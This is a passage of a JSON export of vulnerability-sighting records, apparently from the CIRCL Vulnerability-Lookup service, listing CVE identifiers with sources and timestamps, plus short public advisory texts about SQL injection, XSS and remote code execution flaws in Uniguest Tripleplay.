"2025-12-03T14:14:49.267740Z"}, {"uuid": "4d260935-1fe7-4781-9d6c-94e3789dbfdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50304", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "9cdae493-8388-4a39-a7b1-f97e84d782d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50196", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "4306ea8a-c8b8-4791-afd0-3f7baf4f627e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50280", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "5a8f352d-1bef-426b-ab20-af93abed9ed4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50060", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "b47445e4-5b51-4bfb-b49f-227e4301c244", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50047", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "55fb79a1-edc9-4243-b022-29d3331bf9b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50017", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "914a85ca-c470-4acc-ad84-2686255841a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50187", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "e3e0741a-4f8b-41d5-8836-15a900544afe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50166", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "a7587f3b-c237-4852-bb38-14eafd144a81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50191", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "a8d2fc50-8a8a-4a05-b5f5-2f80f235179f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50003", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "e1fc5cf6-a1a0-451f-9846-5bfe0bc464cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50256", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "fd2c3f27-b53b-403b-986f-d63b6d374259", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50217", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "8e517cea-4d99-42f5-b302-c5705af5f8ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50112", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "61d10d5b-8a2b-48eb-a0a8-dc50c9800d3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50036", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "7896990b-d6f9-47d6-909b-8528352393fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50062", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "01946023-fef5-47ce-baab-fed032af640f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50038", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "db2f54a7-cd41-4896-8cc6-1f5d5fd6f2d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50056", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "d7925290-da70-4e1e-8801-bcf7dff3424d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50015", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "b89a3ca4-d907-4d89-8e1a-bbd57462ed8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50058", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "ed9d38d8-3626-4d9a-a989-2f3194daed98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50258", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "659fbf18-eaa4-4fbc-ba47-00bb51f927f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50115", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "1fca528c-88cc-46c0-9fc2-9161045e3867", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50125", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "47585e3c-0fa7-4a06-80bf-948401da3488", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50272", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "edb214e3-4336-435b-a889-8bf63ec595e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50014", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "a8b206da-f3b0-4a82-bd49-24ae85b65699", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50010", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "6813061c-7bb5-466c-b02d-7a1189df73cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50298", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "694ff6f6-0217-4526-9c52-4e3d22c803fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50057", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "6c2cfe33-04f0-4593-96d0-dbcba43cae54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50277", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/816dcc8e-f25a-4895-9b59-1bbd9caeccb8", "content": "", "creation_timestamp": "2025-12-03T14:14:49.267740Z"}, {"uuid": "f533bcaa-12af-4ef4-ae37-c256126c1fa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5005", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/db9dd42d-746e-40cf-bae6-61042f0c1d48", "content": "", "creation_timestamp": "2024-10-11T12:24:01.570554Z"}, {"uuid": "a8b3b583-2a06-40c3-adf1-f0207f80dd89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50323", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/66553903-f96d-485e-b1f9-0f25e2695b51", "content": "", "creation_timestamp": "2024-11-13T09:12:33.737749Z"}, {"uuid": "ceb7bda5-6464-460f-a986-1f19819b11b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50324", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/66553903-f96d-485e-b1f9-0f25e2695b51", "content": "", "creation_timestamp": "2024-11-13T09:12:33.737749Z"}, {"uuid": "5b20db99-a73b-4dae-8655-65a424ebd9c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50326", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/66553903-f96d-485e-b1f9-0f25e2695b51", "content": "", "creation_timestamp": "2024-11-13T09:12:33.737749Z"}, {"uuid": "81341e7e-1e48-4566-841f-6bc9403594d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50328", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/66553903-f96d-485e-b1f9-0f25e2695b51", "content": "", "creation_timestamp": "2024-11-13T09:12:33.737749Z"}, {"uuid": "a552c998-055b-4299-b615-938021ec3827", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50329", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/66553903-f96d-485e-b1f9-0f25e2695b51", "content": "", "creation_timestamp": "2024-11-13T09:12:33.737749Z"}, {"uuid": "ca184254-9f1e-4944-8657-ca3b86545984", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50330", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/66553903-f96d-485e-b1f9-0f25e2695b51", "content": "", "creation_timestamp": "2024-11-13T09:12:33.737749Z"}, {"uuid": "3b844855-a6e3-435f-98f9-689b6d6d5da7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50327", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/66553903-f96d-485e-b1f9-0f25e2695b51", "content": "", "creation_timestamp": "2024-11-13T09:12:33.737749Z"}, {"uuid": "de1bab61-9ce5-44f4-8bce-cd870cec4e2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50322", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/66553903-f96d-485e-b1f9-0f25e2695b51", "content": "", "creation_timestamp": "2024-11-13T09:12:33.737749Z"}, {"uuid": "639a0a00-fe14-4214-8e6c-a982cd30b7a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/cb44f848-2e46-430a-b089-517177296c87", "content": "", "creation_timestamp": "2024-12-15T10:09:25.481534Z"}, {"uuid": "80be92d6-b85b-4553-8147-85249fb0ca16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/13ba7b76-4ab9-4563-890b-8e54d0fa4e13", "content": "", "creation_timestamp": "2026-02-02T12:26:18.729920Z"}, {"uuid": "3af7f88d-73e5-4b39-a81d-96484c20bf0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50496", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mih64bqyq52w", "content": "", "creation_timestamp": "2026-04-01T17:00:14.951522Z"}, {"uuid": "f65517c4-d3f6-4fdd-aaf5-41ca00112fd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50496", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mih7shgfz22e", "content": "", "creation_timestamp": "2026-04-01T17:30:32.778111Z"}, {"uuid": "4f8b774f-2acf-474e-b15c-dcf5c28aedc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50527", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mihcl5tq5j2r", "content": "", "creation_timestamp": "2026-04-01T18:20:09.106858Z"}, {"uuid": "cca5ae01-10ff-420e-bd18-0dda6111a356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50523", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mihdowq4lc2u", "content": "", "creation_timestamp": "2026-04-01T18:40:09.462330Z"}, {"uuid": "91ed1cfa-3f9b-46f8-881c-6c4fc91dbe76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50525", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mihesu3g2k2a", "content": "", "creation_timestamp": "2026-04-01T19:00:14.724607Z"}, {"uuid": "11130cf3-1c71-45b1-a4af-f873b4eee282", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50459", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mihpycqz2m2w", "content": "", "creation_timestamp": "2026-04-01T22:20:09.234623Z"}, {"uuid": "a3793051-6fcf-403d-9851-47cc76ab8eb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50550", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mihr42zloo2u", "content": "", "creation_timestamp": "2026-04-01T22:40:08.917367Z"}, {"uuid": "ab5087f7-25d3-4ced-9181-c8de8b6d2134", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50495", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mihs7yiv3c2v", "content": "", "creation_timestamp": "2026-04-01T23:00:14.065139Z"}, {"uuid": "e6f32f37-3026-4ba5-ac42-f78140cea12e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50479", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mihtdlgorl23", "content": "", "creation_timestamp": "2026-04-01T23:20:09.546721Z"}, {"uuid": "a52d77d3-f51a-4b6c-8af8-d041d63b8d53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50491", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mihvlcbnu327", "content": "", "creation_timestamp": "2026-04-02T00:00:15.926529Z"}, {"uuid": "c36474a3-00fb-4944-a7d5-379497f3cf52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50486", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mihwour5zt2i", "content": "", "creation_timestamp": "2026-04-02T00:20:08.931434Z"}, {"uuid": "f70a3005-7f5b-4ad2-b168-a89b39870a3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50487", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mihxsndbew2c", "content": "", "creation_timestamp": "2026-04-02T00:40:09.079287Z"}, {"uuid": "68f244b5-2823-4c2f-9715-0963b43bf439", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50489", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mihywl4l6z2v", "content": "", "creation_timestamp": "2026-04-02T01:00:14.446204Z"}, {"uuid": "77067e48-b866-4dec-8eec-46e993f23219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50450", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mii225vpel2a", "content": "", "creation_timestamp": "2026-04-02T01:20:09.225872Z"}, {"uuid": "11b56e51-36a8-4a19-810d-6c078385649e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50417", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3miirj6nu5f2f", "content": "", "creation_timestamp": "2026-04-02T08:20:08.652100Z"}, {"uuid": "53ef8bb6-36dd-4981-a2a2-72b738641c93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50529", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3miiy7rhosa2a", "content": "", "creation_timestamp": "2026-04-02T10:20:09.546855Z"}, {"uuid": "f63a0f11-5407-47b5-841b-61dd6ecfcc70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50530", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3miizdjwcme2v", "content": "", "creation_timestamp": "2026-04-02T10:40:10.938208Z"}, {"uuid": "7a43370b-ad83-4de5-b09a-7749f3086b55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50455", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mijqsksucg2d", "content": "", "creation_timestamp": "2026-04-02T17:40:09.878195Z"}, {"uuid": "761a9bde-2f5d-4ba6-92cc-0f50e3967831", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50456", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3miklmuoela23", "content": "", "creation_timestamp": "2026-04-03T01:40:09.323733Z"}, {"uuid": "8d369c43-66a4-4c70-9f4f-284e0bd5670b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50453", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mikmqs7obe2d", "content": "", "creation_timestamp": "2026-04-03T02:00:15.564261Z"}, {"uuid": "7af5ca0f-a5db-44ba-b8cb-bddd3102d857", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50416", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3miknueu5b523", "content": "", "creation_timestamp": "2026-04-03T02:20:08.958348Z"}, {"uuid": "f423fda4-5d15-4720-893a-80a5fd7f9db9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50528", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3min2xzevxw2v", "content": "", "creation_timestamp": "2026-04-04T01:20:08.958153Z"}, {"uuid": "8f4666d3-5ddc-4c96-b98d-887c11776869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-50442", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3miokztfltn23", "content": "", "creation_timestamp": "2026-04-04T15:40:09.886844Z"}, {"uuid": "4bd2cc70-3a23-44c2-bb61-635605b12a56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50706", "type": "seen", "source": "https://t.me/cvedetector/19524", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50706 - Uniguest Tripleplay SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50706 \nPublished : March 4, 2025, 3:15 p.m. | 1\u00a0hour, 28\u00a0minutes ago \nDescription : Unauthenticated SQL injection vulnerability in Uniguest Tripleplay before 24.2.1 allows remote attackers to execute arbitrary SQL queries on the backend database. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-04T18:21:27.000000Z"}, {"uuid": "de7cd865-ad64-4181-b711-15dafb55e8f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50705", "type": "seen", "source": "https://t.me/cvedetector/19523", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50705 - Uniguest Tripleplay Reflected Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-50705 \nPublished : March 4, 2025, 3:15 p.m. | 1\u00a0hour, 28\u00a0minutes ago \nDescription : Unauthenticated reflected cross-site scripting (XSS) vulnerability in Uniguest Tripleplay before 24.2.1 allows remote attackers to execute arbitrary scripts via the page parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-04T18:21:23.000000Z"}, {"uuid": "f0b0427f-65a5-4334-9392-5e33446b4382", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50707", "type": "seen", "source": "https://t.me/cvedetector/19520", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50707 - Uniguest Tripleplay Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50707 \nPublished : March 4, 2025, 4:15 p.m. | 28\u00a0minutes ago \nDescription : Unauthenticated remote code execution vulnerability in Uniguest Tripleplay before 24.2.1 allows remote attackers to execute arbitrary code via the X-Forwarded-For header in an HTTP GET request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-04T18:21:21.000000Z"}, {"uuid": "710e4558-6c6f-40fb-9e35-9c80b69d5329", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50704", "type": "seen", "source": "https://t.me/cvedetector/19519", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50704 - Uniguest Tripleplay Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50704 \nPublished : March 4, 2025, 4:15 p.m. | 28\u00a0minutes ago \nDescription : Unauthenticated remote code execution vulnerability in Uniguest Tripleplay before 24.2.1 allows remote attackers to execute arbitrary code via a specially crafted HTTP POST request. \nSeverity: 